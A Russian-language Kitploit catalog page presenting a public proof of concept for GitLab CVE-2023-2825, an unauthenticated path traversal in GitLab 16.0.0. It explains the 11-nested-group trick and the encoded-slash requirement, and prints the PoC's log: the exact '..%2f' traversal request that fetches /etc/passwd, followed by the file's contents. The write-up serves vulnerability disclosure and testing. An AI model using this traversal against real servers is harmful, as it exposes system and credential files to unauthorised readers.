Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2023-2825 — GitLab CVE-2023-2825 PoC. Эта PoC использует уязвимость обхода пути (path traversal) для получения файла /etc/passwd с системы, работающей под управлением GitLab 16.0.0. | Kitploit
Инструменты/GitHubGitHub/occamsec/cve-2023-2825
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСбор информацииТестирование на ПроникновениеRed Teaming
GitHuboccamsec/cve-2023-2825

CVE-2023-2825

GitLab CVE-2023-2825 PoC. Эта PoC использует уязвимость обхода пути (path traversal) для получения файла /etc/passwd с системы, работающей под управлением GitLab 16.0.0.

Репозиторий
140313 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Сайт

CVE-2023-2825 - GitLab CE/EE 16.0.0: Чтение произвольных файлов через обход пути

23 мая 2023 года GitLab выпустил версию 16.0.1, в которой была исправлена критическая уязвимость CVE-2023-2825, затрагивающая Community Edition (CE) и Enterprise Edition (EE) версии 16.0.0. Уязвимость позволяет неаутентифицированным пользователям читать произвольные файлы через ошибку обхода пути. Она была обнаружена пользователем pwnie на HackerOne через программу вознаграждения за обнаружение ошибок.

На момент написания статьи не было доступно публичного подтверждения концепции.

GitLab Advisory

Злоумышленник без аутентификации может использовать уязвимость обхода пути для чтения произвольных файлов на сервере, если в публичном проекте, вложенном как минимум в пять групп, существует вложение. Это проблема критической серьезности (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N, 10.0).

Подгруппы

У этой уязвимости есть интересное требование: проект должен быть вложен как минимум в 5 групп. В ходе тестирования мы обнаружили прямую корреляцию между количеством групп и количеством каталогов, которые можно обойти. Правило, похоже, N + 1, то есть если вы хотите обойти 10 каталогов, вам понадобится 11 групп.

В стандартной установке GitLab вложения файлов загружаются по пути /var/opt/gitlab/gitlab-rails/uploads/@hashed/<a>/<b>/<secret>/<secret>/<file>. Поэтому, чтобы добраться до корня файловой системы, нужно подняться на 10 каталогов вверх, а значит, потребуется 11 групп.

Загрузка файла и обход пути

Когда вы загружаете файл как вложение в задачу GitLab, отправляется запрос на POST - /:repo/upload. В ответ возвращается JSON с URL файла, позволяя вам получить доступ к файлу.

URL файла состоит из /:repo/uploads/:id/:file, где :file — это имя самого файла. Замена :file на любой путь к файлу заставит GitLab вернуть запрошенный файл. GitLab не проверяет этот путь, что приводит к обходу пути.

Чтобы успешно использовать эту уязвимость, необходимо URL-кодировать символ / в пути к файлу. GitLab прочитает это как значение и декодирует его внутренне. Если не закодировать, GitLab будет интерпретировать / в пути как часть маршрута.

В нашем тестировании кодирования только / было достаточно, чтобы обойти ошибки пути Nginx.

Аутентификация

Неаутентифицированные пользователи могут использовать эту уязвимость только в публичных репозиториях, соответствующих требованиям вложенности групп. Для доступа к самому репозиторию требуется аутентификация.

Подтверждение концепции

Мы разработали подтверждение концепции на Python. Он создает 11 групп, создает публичный репозиторий, загружает файл, а затем использует уязвимость для получения файла /etc/passwd.

Вывод

root@kitploit:~
$ python3 poc.py
[*] Attempting to login...
[*] Login successful as user 'root'
[*] Creating 11 groups with prefix UJB
[*] Created group 'UJB-1'
[*] Created group 'UJB-2'
[*] Created group 'UJB-3'
[*] Created group 'UJB-4'
[*] Created group 'UJB-5'
[*] Created group 'UJB-6'
[*] Created group 'UJB-7'
[*] Created group 'UJB-8'
[*] Created group 'UJB-9'
[*] Created group 'UJB-10'
[*] Created group 'UJB-11'
[*] Created public repo 'UJB-1/UJB-2/UJB-3/UJB-4/UJB-5/UJB-6/UJB-7/UJB-8/UJB-9/UJB-10/UJB-11//CVE-2023-2825'
[*] Uploaded file '/uploads/74b16af4b9048e13c4311484bbfd3b76/file'
[*] Executing exploit, fetching file '/etc/passwd': GET - /UJB-1/UJB-2/UJB-3/UJB-4/UJB-5/UJB-6/UJB-7/UJB-8/UJB-9/UJB-10/UJB-11//CVE-2023-2825/uploads/74b16af4b9048e13c4311484bbfd3b76//..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
git:x:998:998::/var/opt/gitlab:/bin/sh
gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false
gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false
gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh
mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh
registry:x:993:993::/var/opt/gitlab/registry:/bin/sh
gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh
gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh

Рекомендуемые действия

GitLab рекомендует как можно скорее обновить все версии, затронутые этой проблемой.

Ссылки

https://about.gitlab.com/releases/2023/05/23/critical-security-release-gitlab-16-0-1-released/

https://occamsec.com/exploit-for-cve-2023-2825/

Скачать инструмент